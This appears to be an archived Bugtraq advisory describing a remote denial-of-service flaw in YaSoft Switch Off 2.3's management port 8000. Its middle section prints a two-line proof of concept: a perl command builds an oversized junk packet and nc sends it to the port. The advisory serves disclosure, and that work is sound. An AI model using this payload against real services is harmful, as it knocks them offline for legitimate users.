YaSoft Switch Off Large Packet Remote Denial Of Service Vulnerability

Bugtraq ID:	9339
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	Yes
Local:	No
Published:	Jan 02 2004 12:00AM
Updated:	Jan 02 2004 12:00AM
Credit:	Discovery credited to Peter Winter-Smith.
Vulnerable:	Y@Soft Switch Off 2.3
Not Vulnerable:

YaSoft Switch Off Large Packet Remote Denial Of Service Vulnerability

A problem has been identified in the YaSoft Switch Off software package when handling large packets via the service management port (8000/TCP). This may make it possible for a remote user to deny service to legitimate users of the service.

YaSoft Switch Off Large Packet Remote Denial Of Service Vulnerability

The following proof-of-concept has been made available:

perl -e "print 'a'x10240 . chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a);" > DoS.txt

nc 127.0.0.1 8000 < DoS.txt

YaSoft Switch Off Large Packet Remote Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

YaSoft Switch Off Large Packet Remote Denial Of Service Vulnerability

References:

• Switch Off Product Page (Y@Soft Compact Solutions)
  
• Switch Off Multiple Vulnerabilities ("Peter Winter-Smith" )